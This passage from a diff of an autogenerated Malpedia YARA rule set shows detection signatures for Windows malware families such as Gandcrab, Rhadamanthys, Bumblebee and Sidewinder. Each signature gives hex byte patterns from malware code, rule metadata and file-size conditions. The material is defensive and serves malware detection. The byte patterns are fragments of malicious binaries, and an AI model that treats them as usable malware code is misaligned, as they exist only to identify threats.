6a6b 8bce e8???????? 5f 5e } - $sequence_7 = { 68???????? 50 6802000080 e8???????? 83c41c 5f 5e } - $sequence_8 = { 68???????? 68???????? 6a00 6a00 c705????????20010000 e8???????? 8b35???????? } - $sequence_9 = { e8???????? 8b8e549f0000 83c41c 89848e14030000 } - $sequence_10 = { e8???????? 83c40c ff7508 6a40 ff15???????? } - $sequence_11 = { ff7510 ff75dc ff15???????? 85c0 7507 } - $sequence_12 = { e9???????? 8d45dc 50 681f000200 } - $sequence_13 = { f7d1 49 7509 5f 5e 5b } - $sequence_14 = { 83c408 e8???????? c1e00a 6a04 } - $sequence_15 = { e8???????? 6a6f 8bce e8???????? 5e } - $sequence_16 = { 8dbd85feffff f3ab 66ab aa } - $sequence_17 = { 83c12c e9???????? 8b4df0 83c154 e9???????? 8b4df0 83c17c } - $sequence_18 = { 8d4e10 e8???????? 6a6b 8bce } - $sequence_19 = { 8365fc00 ff7508 ff15???????? 40 50 ff15???????? 59 } - $sequence_20 = { e8???????? 84c0 7505 83ceff eb2c } - $sequence_21 = { 89849614030000 8b86549f0000 40 8986549f0000 } - $sequence_22 = { 6a00 ff7628 ff15???????? 6a01 ff7620 ff15???????? 8b4e04 } - $sequence_23 = { 8bce ff75e8 e8???????? 8bce e8???????? 6a00 } - $sequence_24 = { ff15???????? 6800000002 6a00 6a00 ff15???????? } - $sequence_25 = { 6a00 6a00 6838040000 6a00 6a00 } - $sequence_26 = { 83e9fc c7014c696272 83e9fc c70161727941 83e9fc c70100000000 } - $sequence_27 = { 8b4608 8b7e20 8b36 813f6b006500 7406 813f4b004500 75e8 } - $sequence_28 = { ff8b8d60ffff ff03 0c90 898df4feffff } - $sequence_29 = { 8b4df0 51 8b9558ffffff 52 8b8560ffffff 50 } - $sequence_30 = { 83c40c c7856cffffff00000000 eb0f 8b8d6cffffff 83c101 } - $sequence_31 = { 03480c 894dc0 8b55c0 52 8b450c } - $sequence_32 = { 8d9530ffffff 52 6a40 8b4580 } - $sequence_33 = { 8b423c 8945ec 8b8d58ffffff 034dec } + $sequence_0 = { f30f6f440420 f30f6f0c28 660fefc8 f30f7f0c30 418d40f0 f30f6f440420 f30f6f0c28 } + $sequence_1 = { e8???????? 8885f6050000 b261 488d8d70050000 e8???????? 8885f7050000 33d2 } + $sequence_2 = { ff15???????? 85c0 7414 488b4c2438 4c8d442444 488d5570 ff15???????? } + $sequence_3 = { eb04 33c0 8bd8 b978110000 e8???????? 488bf8 48894540 } + $sequence_4 = { 488d4d28 e8???????? 884529 33d2 488d4d28 e8???????? 88452a } + $sequence_5 = { 488d8d00010000 e8???????? 88850f010000 33d2 488d8d00010000 e8???????? 888510010000 } + $sequence_6 = { e8???????? 488d8598070000 488985b80c0000 c6454069 b273 488d4d40 e8???????? } + $sequence_7 = { 48897820 488b05???????? 4833c4 488985f0020000 bae9030000 ff15???????? 488bf0 } + $sequence_8 = { e8???????? 8885d7060000 33d2 488d8dd0060000 e8???????? 8885d8060000 b26b } + $sequence_9 = { 8885f60b0000 b23c 488d8d300b0000 e8???????? 8885f70b0000 33d2 488d8d300b0000 } condition: - 7 of them and filesize < 357376 + 7 of them and filesize < 3921930 } -rule MALPEDIA_Win_Koiloader_Auto : FILE +rule MALPEDIA_Win_Sidewinder_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5e4efaa4-8409-52c6-a357-d4b16d12b604" + id = "cc151d68-8079-5f48-8578-23ad18a0a4e7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koiloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.koiloader_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sidewinder_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "a14056c4d5487fcde976e3de41a707b0de19ece78e34b4f5bb62e5e5638e41ed" + logic_hash = "e4a063cf875d6c669e0a5700a0f46ba681b39263a023b07ff990bd59cdb78477" score = 75 quality = 75 tags = "FILE" @@ -106689,32 +107076,32 @@ rule MALPEDIA_Win_Koiloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3bd1 72f2 c6043100 8d5e12 668b4712 33c9 66894610 } - $sequence_1 = { 88840d80fdffff 41 83f950 72ec 8d9580fdffff 8d8d98f1ffff } - $sequence_2 = { 83c308 03ca 894dc8 8b7904 83ef08 d1ef } - $sequence_3 = { 8d8d2cfbffff e8???????? 8d8d2cfbffff e8???????? 33c9 } - $sequence_4 = { 8be5 5d c20400 56 8b35???????? 6a00 ffd6 } - $sequence_5 = { 8d8d28f5ffff e8???????? 8d8d28f5ffff e8???????? 33c9 } - $sequence_6 = { 46 807c35c000 75f8 33ff 90 e8???????? 33d2 } - $sequence_7 = { 8b7dcc 85ff 7426 8b45d0 33c9 8d1c00 85db } - $sequence_8 = { 8d4df8 51 0f47c2 50 8d8584fbffff 50 ff75f0 } - $sequence_9 = { e8???????? 33c9 66660f1f840000000000 8a840d70edffff 88840d60ffffff 41 83f950 } + $sequence_0 = { 8945cc 837dcc00 0f8e37030000 0fbf4510 85c0 740e ff75c0 } + $sequence_1 = { dfe0 9e 740e dd45cc dc1d???????? dfe0 9e } + $sequence_2 = { 8d45b8 50 8d45c8 50 8d45d8 50 8d45a8 } + $sequence_3 = { dbe2 8945dc 837ddc00 7d17 6a3c 68???????? ff75ec } + $sequence_4 = { 817da0a3000000 750a 66830d????????ff eb54 837da058 740c 837da043 } + $sequence_5 = { 8965f8 c745fc???????? 6a02 59 e8???????? 668945e0 8b4508 } + $sequence_6 = { 50 6a00 e8???????? 8d45d4 50 6a00 e8???????? } + $sequence_7 = { 83a59cfeffff00 8b45a0 89853cffffff 8d855cffffff 50 8b853cffffff 8b00 } + $sequence_8 = { eb09 8d45ec 89856cffffff 8b856cffffff 8b00 8945b0 8d45d0 } + $sequence_9 = { e8???????? 898560ffffff eb07 83a560ffffff00 8b45c8 894588 c745b004000280 } condition: - 7 of them and filesize < 101376 + 7 of them and filesize < 679936 } -rule MALPEDIA_Win_Backbend_Auto : FILE +rule MALPEDIA_Win_Darkshell_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c7ec5485-6e9e-5eb4-aaaa-c0daf2bd8fb9" + id = "0b6aea26-4d2d-5fe4-85ac-1a4c560ab87d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backbend_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkshell_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "935509ae6988f2d539b3ef5a76f3b49b19110a268e5a967dacc21ae1460d274a" + logic_hash = "adda1c8d572ab121457592ba92d94ead9ada07c703fcce314ed00968f454839e" score = 75 quality = 75 tags = "FILE" @@ -106728,32 +107115,32 @@ rule MALPEDIA_Win_Backbend_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c40c 8d45f0 c745d801000000 66c745dc0500 50 } - $sequence_1 = { 56 ffd3 6a00 8d8500ffffff } - $sequence_2 = { c3 8b442404 8a08 84c9 7408 80e904 } - $sequence_3 = { ebf2 c3 55 8bec 81ec0c010000 } - $sequence_4 = { 6860ea0000 ffd6 33c0 8d8d00feffff 50 } - $sequence_5 = { 50 e8???????? 8d8500fbffff 53 50 e8???????? } - $sequence_6 = { c605????????43 ff15???????? 8bf0 68???????? } - $sequence_7 = { 85c0 7508 6a01 58 e9???????? 6a07 } - $sequence_8 = { 57 ffd6 85c0 740b 50 ff15???????? } - $sequence_9 = { c745d801000000 66c745dc0500 50 8d45ac 50 53 } + $sequence_0 = { 83c004 8901 83c014 8902 6681380b01 7511 } + $sequence_1 = { 8b442434 83c410 8b8088000000 85c0 } + $sequence_2 = { c744246044000000 ff15???????? 8be8 85ed 0f8494000000 8bbc2488000000 } + $sequence_3 = { 51 50 8b442420 50 ff15???????? } + $sequence_4 = { 8d7e08 f7c2feffffff 767a 668b07 8bc8 81e100f00000 6681f90030 } + $sequence_5 = { ffd6 5e c20400 8b15???????? } + $sequence_6 = { 8b35???????? 48 7457 48 742b } + $sequence_7 = { f3ab 66ab aa 8b442410 83c9ff 8b5008 33c0 } + $sequence_8 = { 5e c20400 8b15???????? 68???????? 52 } + $sequence_9 = { 03ca c1e80c 51 50 68???????? } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 344064 } -rule MALPEDIA_Win_Veletrix_Auto : FILE +rule MALPEDIA_Win_Gandcrab_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a5f5b762-13c6-553b-b699-839d4e6ceb4f" + id = "5425f9cd-8fb4-510e-a39f-093e7eb655d2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.veletrix" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.veletrix_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gandcrab_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "caf3f0b619f428452505d9ee8537497d80964f351312a5e0d2c1e4059a2feec7" + logic_hash = "65a176078bb1690a98a0fbd0a289d5aa1233664bdaee132644de05bfc651c8a8" score = 75 quality = 75 tags = "FILE" @@ -106767,32 +107154,32 @@ rule MALPEDIA_Win_Veletrix_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7408 488bc2 e9???????? 4d3bc4 0f84d9000000 8b7500 498b9cf6c0920100 } - $sequence_1 = { f20f59ee f20f5ce9 f2410f1004c1 488d1576860000 f20f1014c2 } - $sequence_2 = { 85c0 742a 488bc5 4c8d05f5250100 488bcd 48c1f906 83e03f } - $sequence_3 = { e8???????? 33db 8bf8 85c0 0f8453020000 4c8d2d461a0100 448bf3 } - $sequence_4 = { 4c8d0d057c0000 c5f359c1 c5fb101d???????? c5fb102d???????? c4e2f1a91d???????? c4e2f1a92d???????? f20f10e0 } - $sequence_5 = { c7459856697274 488bcb c7459c75616c50 4c8be0 c745a0726f7465 } - $sequence_6 = { e8???????? 488b8f90000000 483b0d???????? 7417 488d05243d0100 } - $sequence_7 = { 4c8d4c2448 488b4f10 41b840000000 ff542430 8b4f04 ba00080000 } - $sequence_8 = { 48894df7 488945ef 488d0d8668ffff 83e03f 458be9 4d03e8 4c8945df } - $sequence_9 = { 4c896daf 49c1fc06 4c8d34c0 4a8b84e100970100 4a8b44f028 } + $sequence_0 = { 03c3 8d5e04 03d8 837f4800 741b ff7750 ff15???????? } + $sequence_1 = { ff777c ff15???????? ff7778 8bf0 ff15???????? } + $sequence_2 = { ff15???????? ff7728 8bf0 ff15???????? 03c3 8d5e04 } + $sequence_3 = { ff15???????? 03c3 8d5e04 03d8 837f3000 } + $sequence_4 = { ff15???????? ff7734 8bf0 ff15???????? 03c3 8d5e04 } + $sequence_5 = { 03c3 8d5e04 03d8 837f3000 741b } + $sequence_6 = { 5f 66894c46fe 8bc6 5e } + $sequence_7 = { ff15???????? ff7778 8bf0 ff15???????? 03c3 } + $sequence_8 = { ff15???????? 03c3 8d5e04 03d8 837f3c00 741b ff7744 } + $sequence_9 = { 741b ff777c ff15???????? ff7778 8bf0 } condition: - 7 of them and filesize < 234496 + 7 of them and filesize < 1024000 } -rule MALPEDIA_Win_Flagpro_Auto : FILE +rule MALPEDIA_Win_Unidentified_091_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "df493d50-e377-536e-a031-d239af918cf3" + id = "43cbe43d-9747-5a0c-bb40-dd9c7c940d50" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flagpro_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_091" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_091_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "8734d591635985c73e20c9ca4d9912448a0aab9867cea544ed16d714554a9f18" + logic_hash = "4634e6f2999913eaf2a083116e36bae941dd940a5cf81991fb84c6cc55fc0d2d" score = 75 quality = 75 tags = "FILE" @@ -106806,32 +107193,32 @@ rule MALPEDIA_Win_Flagpro_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4501 50 e8???????? 8bf8 83c420 } - $sequence_1 = { 8b03 eb02 8bc3 55 8d2c3f } - $sequence_2 = { ffd5 68???????? e8???????? 8b44241c } - $sequence_3 = { c684249400000002 8b442448 8b08 8d542428 52 50 8b4120 } - $sequence_4 = { 8b9180000000 50 ffd2 8b442418 } - $sequence_5 = { 8b4e18 53 57 8bf8 8d5e04 83f908 7204 } - $sequence_6 = { ffd2 47 3b7c243c 897c2450 0f8c03feffff e9???????? 8b44241c } - $sequence_7 = { c744244400000000 a1???????? 8b500c b9???????? ffd2 8d7010 8974241c } - $sequence_8 = { f7e2 8bea c1ed06 45 68e8030000 } - $sequence_9 = { e8???????? 33f6 eb06 8b1d???????? b8???????? 8d5002 } + $sequence_0 = { 81e1ff00ff00 0bd1 895618 418b481c 8bd1 c1ca08 c1c108 } + $sequence_1 = { c0e904 8885f8000000 888df9000000 0fb64a1d 0fb6c1 c0e904 240f } + $sequence_2 = { e8???????? 85c0 743c 48ffc3 483b5c2430 72c4 488bcf } + $sequence_3 = { 8b442448 418bd1 4133d2 c1ca10 03fa 893c24 448bc7 } + $sequence_4 = { c1cd02 c1e718 418bc0 c1c005 4103c2 4489642418 03d0 } + $sequence_5 = { 85c0 0f8eee000000 488d0d49421600 48894d00 48215508 48215510 ffc0 } + $sequence_6 = { e8???????? 488bd3 488bcf 4c8bf0 8b30 c70000000000 e8???????? } + $sequence_7 = { f30f58d0 0f57c0 0fc6d200 0f51ca 410fc2d304 0fc2c104 0f5ed9 } + $sequence_8 = { 4c894507 48894d0f e9???????? c74424285a0a0000 ba50000000 4c89542420 41b966010000 } + $sequence_9 = { c784248000000001000000 eb32 c7442420f6010000 baa6000000 4c8d0db8a71100 b906000000 448d42fc } condition: - 7 of them and filesize < 1411072 + 7 of them and filesize < 5777408 } -rule MALPEDIA_Win_Tmanger_Auto : FILE +rule MALPEDIA_Win_Sslmm_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "790b1a6e-9331-5562-a8a4-895a06f4f290" + id = "d8086894-ce35-51e5-80fd-c0d5178aba78" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tmanger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tmanger_auto.yar#L1-L110" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sslmm_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "747dcecd7ac42c73ae2cafbcc412928abf59ab04c5fc33f549cfda9aa11d6334" + logic_hash = "a85823710a9c9f3b9c72213ada570b2364c16fc9f2cafb50a35e2a98adedaa0a" score = 75 quality = 75 tags = "FILE" @@ -106845,32 +107232,32 @@ rule MALPEDIA_Win_Tmanger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c74161d47bdb0f c741651f013f62 c74169388b8e92 c7416d9b14f6a0 } - $sequence_1 = { c7416d9b14f6a0 c7417180fcd6bb c74175d7401d36 c7417958fffa19 } - $sequence_2 = { c7412425d933d1 c7412861fdc72a c7412cdf9134d2 c74130324d251d } - $sequence_3 = { c7415d382cd7bd c74161d47bdb0f c741651f013f62 c74169388b8e92 } - $sequence_4 = { c741651f013f62 c74169388b8e92 c7416d9b14f6a0 c7417180fcd6bb c74175d7401d36 } - $sequence_5 = { c741594d68b93a c7415d382cd7bd c74161d47bdb0f c741651f013f62 c74169388b8e92 c7416d9b14f6a0 c7417180fcd6bb } - $sequence_6 = { c74145aed72316 c74149ff663a9d c7414dd22a7e91 c741510f9f2997 c7415565449eac } - $sequence_7 = { c741510f9f2997 c7415565449eac c741594d68b93a c7415d382cd7bd } - $sequence_8 = { c7410c16d9fdf8 c741103a71c135 c74114c2a02ab0 c74118d95dc845 } - $sequence_9 = { c7412861fdc72a c7412cdf9134d2 c74130324d251d c74134375ec19d c7413893c82e55 } + $sequence_0 = { 55 50 51 8bcb e8???????? 85c0 0f854d010000 } + $sequence_1 = { 51 03ee 55 50 e8???????? 8b442478 } + $sequence_2 = { 8bca 83e103 f3aa 8b842480000000 8b4c2420 2bc6 } + $sequence_3 = { 5b 81c45c020000 c3 8b1d???????? 68???????? 56 } + $sequence_4 = { 81ecc8000000 53 8bd9 8b8c24d8000000 55 } + $sequence_5 = { 51 6a00 8d93dc000000 50 52 } + $sequence_6 = { 33c0 5e 81c4ac010000 c21000 } + $sequence_7 = { ff5204 33c0 5e c20c00 6a00 } + $sequence_8 = { 68c8000000 8bf1 6a00 ffd7 8b1d???????? } + $sequence_9 = { 83c404 40 50 53 6aff 57 6a00 } condition: - 7 of them and filesize < 8252416 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Selfmake_Auto : FILE +rule MALPEDIA_Win_Ground_Peony_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "14e0b71d-d2cd-519a-a7ac-d6d6b6506061" + id = "801058db-7b66-5372-8745-75ac698daed8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.selfmake_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ground_peony" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ground_peony_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "08e1e6c97c92f2a3bf3c8dda29bd3cb3a7515a9d0a9d08d73c9a2b096d151fb4" + logic_hash = "e6e32f0220bb10dd7446439a2221f39d91c5ad68ccd69dfaaf804fe3b4efdc99" score = 75 quality = 75 tags = "FILE" @@ -106884,32 +107271,32 @@ rule MALPEDIA_Win_Selfmake_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? c644247801 837c244810 720d } - $sequence_1 = { c1e902 8bf2 f3a5 8bc8 83e103 6a0a f3a4 } - $sequence_2 = { 68???????? e8???????? 83c040 50 e8???????? 8b5608 8b4254 } - $sequence_3 = { 57 8d7c2414 e8???????? 83c404 83f8ff 751d 68???????? } - $sequence_4 = { 3bf3 760a 2bf3 eb08 8b5c246c ebe7 } - $sequence_5 = { 83c408 6818020000 6a00 8d8de0fdffff 51 e8???????? 83c40c } - $sequence_6 = { 8be8 6a1f 55 ff15???????? } - $sequence_7 = { 80387f 0f844e010000 8bc2 83f910 } - $sequence_8 = { 51 8b95a0fbffff 52 ff15???????? 8945f8 837df800 } - $sequence_9 = { 33c0 e9???????? 8d95c0fbffff 52 } + $sequence_0 = { 488d15c28a0000 488d0db38a0000 e8???????? 488b4308 833800 } + $sequence_1 = { 4833c4 4889842460050000 488bd1 4d8d4310 498d8bd8fbffff ff15???????? } + $sequence_2 = { eb10 488bc8 ff15???????? 488d0d251e0100 } + $sequence_3 = { e8???????? 48b8d2bc1a37d2bc1a37 41b802000000 4889842420080000 8bd5 4889842428080000 } + $sequence_4 = { ff15???????? 33d2 488d4c2450 41b804010000 e8???????? 41b804010000 } + $sequence_5 = { f20f102d???????? f20f590d???????? f20f59ee f20f5ce9 f2410f1004c1 488d1536830000 } + $sequence_6 = { 4883c428 c3 488d15878e0000 488d0d808d0000 } + $sequence_7 = { 8b0a e8???????? 90 488d1d9e2f0100 } + $sequence_8 = { e8???????? eb22 488d0da51a0100 e8???????? } + $sequence_9 = { 4883ec20 488bda 4c8d0def960000 8bf9 } condition: - 7 of them and filesize < 932864 + 7 of them and filesize < 217088 } -rule MALPEDIA_Win_Hodur_Auto : FILE +rule MALPEDIA_Win_Cargobay_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "529f3e13-6dbd-5bfd-9d2e-8112cb176080" + id = "d6e48bf6-04f2-5926-86cf-d6b3d1d19c9e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hodur" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hodur_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cargobay" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cargobay_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "52f28b8a0f887df21ab70c260b17a2f99e348211a9b139c663c0b81c4937fcbf" + logic_hash = "78bad24f78416452973bfe57bb2d3dc8c78eea72265f4a6384a2c196eab74e59" score = 75 quality = 75 tags = "FILE" @@ -106923,32 +107310,32 @@ rule MALPEDIA_Win_Hodur_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 83c414 0f2805???????? 833d????????0a 0f11442468 66c74424781b3e c644247a00 } - $sequence_1 = { 8b15???????? 8b3d???????? 8d42ff 0fafc2 83e001 83ff0a 7c15 } - $sequence_2 = { c684243801000000 7c0f 8d48ff 0fafc8 83e101 0f85a0260000 8d8c2430010000 } - $sequence_3 = { 7c0b 8d41ff 0fafc1 83e001 752a 6a5c 55 } - $sequence_4 = { c74424080c043500 7c14 a1???????? 8d48ff 0fafc8 83e101 0f85b10b0000 } - $sequence_5 = { 6a5c 8d842454040000 50 e8???????? 83c408 833d????????0a 89c7 } - $sequence_6 = { c78424e0000000b9ffceff 7c15 8b0d???????? 8d51ff 0fafd1 83e201 0f85ab0a0000 } - $sequence_7 = { ebfe 833d????????0a 66c784249a0000000000 7c12 a1???????? 8d48ff 0fafc8 } - $sequence_8 = { 7c0d 8d50ff 0fafd0 83e201 7402 ebfe e8???????? } - $sequence_9 = { 75f4 c6410d00 e8???????? 53 ff75e4 ffd0 833d????????0a } + $sequence_0 = { e8???????? 0f0b 4883ec28 4889c8 488d0d735d0e00 48894c2420 41b900010000 } + $sequence_1 = { e8???????? 48894308 b801000000 ebd3 4881ec88000000 488d442428 488910 } + $sequence_2 = { e8???????? 4889f1 89c2 4883c420 5e e9???????? 56 } + $sequence_3 = { e8???????? 488d9424a0000000 440f294a10 440f2902 4c8db424e0000000 4c89f1 4989f8 } + $sequence_4 = { e9???????? 89f9 4429e1 488b742430 8d5601 4585e4 410f94c0 } + $sequence_5 = { 4c8ba424c8000000 4889f1 e8???????? 4885c0 7446 4989d0 4c89f1 } + $sequence_6 = { eb0d 488908 e9???????? 440fb76734 4929d4 488d7738 31ed } + $sequence_7 = { 49c1e104 31c0 4939c1 740b 41833c0000 488d4010 74f0 } + $sequence_8 = { c6455e00 4c8d05ed010900 4889e9 488d5548 e8???????? 31ff 4885f6 } + $sequence_9 = { e8???????? 4889e9 4c89ea e8???????? e9???????? 488d1512bb1200 488dbc24f0020000 } condition: - 7 of them and filesize < 1067008 + 7 of them and filesize < 3432448 } -rule MALPEDIA_Win_Gameover_Dga_Auto : FILE +rule MALPEDIA_Win_Rhadamanthys_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "03fc91af-7fd0-5c49-806f-66baee40bb34" + id = "fbc76f02-e283-5cc2-95ab-feddb32988f8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gameover_dga_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhadamanthys_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "0d50d6a34d24e697f3e47548c11296361a501bf8307c9f90af33f306f5bb9e63" + logic_hash = "9730ed3bce4b206712bfc32009b2e0a70bda3b8b9f39f72ed960449e1927c991" score = 75 quality = 75 tags = "FILE" @@ -106962,32 +107349,32 @@ rule MALPEDIA_Win_Gameover_Dga_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 884617 33c0 40 e9???????? 8a4601 33db 8b6c2434 } - $sequence_1 = { 8b13 8bcb 6a01 57 56 ff742420 ff742420 } - $sequence_2 = { 8bf8 83cdff 3bfd 7504 8bc5 eb42 } - $sequence_3 = { 55 8bac2434010000 56 57 8bf9 8b4508 85c0 } - $sequence_4 = { 39442414 0f85eb060000 8b84245c010000 41 894c2420 40 50 } - $sequence_5 = { 85db 7417 6af6 6a01 ff742434 ffd3 85c0 } - $sequence_6 = { ff7064 ffd6 85c0 0f8513010000 a1???????? 68???????? ff7064 } - $sequence_7 = { 8b4c2424 b301 8901 5d 8bce e8???????? } - $sequence_8 = { 8bc2 83c204 3b54241c 7725 8a5c2428 8818 8a5c2413 } - $sequence_9 = { 0f851f010000 8b442414 8d542428 52 53 ff742450 8b08 } + $sequence_0 = { ff7308 03c6 50 8b03 } + $sequence_1 = { 8a01 84c0 7416 8b542408 69d293010001 } + $sequence_2 = { 33d0 41 89542408 ebe4 } + $sequence_3 = { 7416 8b542408 69d293010001 0fb6c0 33d0 41 } + $sequence_4 = { 8b542408 69d293010001 0fb6c0 33d0 41 89542408 ebe4 } + $sequence_5 = { 7416 8b542408 69d293010001 0fb6c0 33d0 } + $sequence_6 = { 84c0 7416 8b542408 69d293010001 0fb6c0 } + $sequence_7 = { 7416 8b542408 69d293010001 0fb6c0 33d0 41 89542408 } + $sequence_8 = { 84c0 7416 8b542408 69d293010001 0fb6c0 33d0 } + $sequence_9 = { 84c0 7416 8b542408 69d293010001 } condition: - 7 of them and filesize < 540672 + 7 of them and filesize < 1111040 } -rule MALPEDIA_Win_Bumblebee_Auto : FILE +rule MALPEDIA_Win_Winordll64_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "51e7861d-d3b9-5cdb-81c5-a532ba2bf356" + id = "42d58eb8-636f-5c90-824f-a4029c096b45" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bumblebee_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winordll64" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winordll64_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "55275cb4405b1783096501f885fe54bb72513b66b06e891fc6760c0a6547ff81" + logic_hash = "ff8a5b9c7eb1fcfe5982c5ada9af48d2cc2fd7ebb77ddf0083a9bd3e03ee5a02" score = 75 quality = 75 tags = "FILE" @@ -107001,32 +107388,32 @@ rule MALPEDIA_Win_Bumblebee_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488bd5 4889442428 498bce 488364242000 } - $sequence_1 = { 85c0 783c 488b9508030000 4885d2 } - $sequence_2 = { 4885c0 0f84b5000000 488d4c2430 41b900100000 48894c2420 4c8bc3 498bce } - $sequence_3 = { 33d2 488b4dc8 e8???????? 488b4dc8 } - $sequence_4 = { 90 ba38000000 488bcb e8???????? 90 } - $sequence_5 = { 4885f6 0f84ff000000 488b05???????? 4885c0 0f84ef000000 488d4c2430 41b900100000 } - $sequence_6 = { 488364242000 ffd7 8bc8 ffd3 } - $sequence_7 = { 488bd8 ff15???????? 488bcf 488945e5 } - $sequence_8 = { 488364242000 ffd7 8bc8 ffd3 4c8d5c2460 498b5b20 498b6b28 } - $sequence_9 = { ff15???????? 488d4c2438 33d2 48894c2420 448d4f30 } + $sequence_0 = { 488b55d0 488364242000 448bc1 4c8d4d48 498bcc ff15???????? 48635538 } + $sequence_1 = { 4c8d05c8c40000 498bd4 488bcd e8???????? 85c0 } + $sequence_2 = { 75f7 488bcf e8???????? 498b0c24 4585ed } + $sequence_3 = { 488bcf ff15???????? 85c0 0f8575ffffff 488bcf ff15???????? b8c0020000 } + $sequence_4 = { e8???????? 4c8d5c2430 4c895c2420 4c8d4c2438 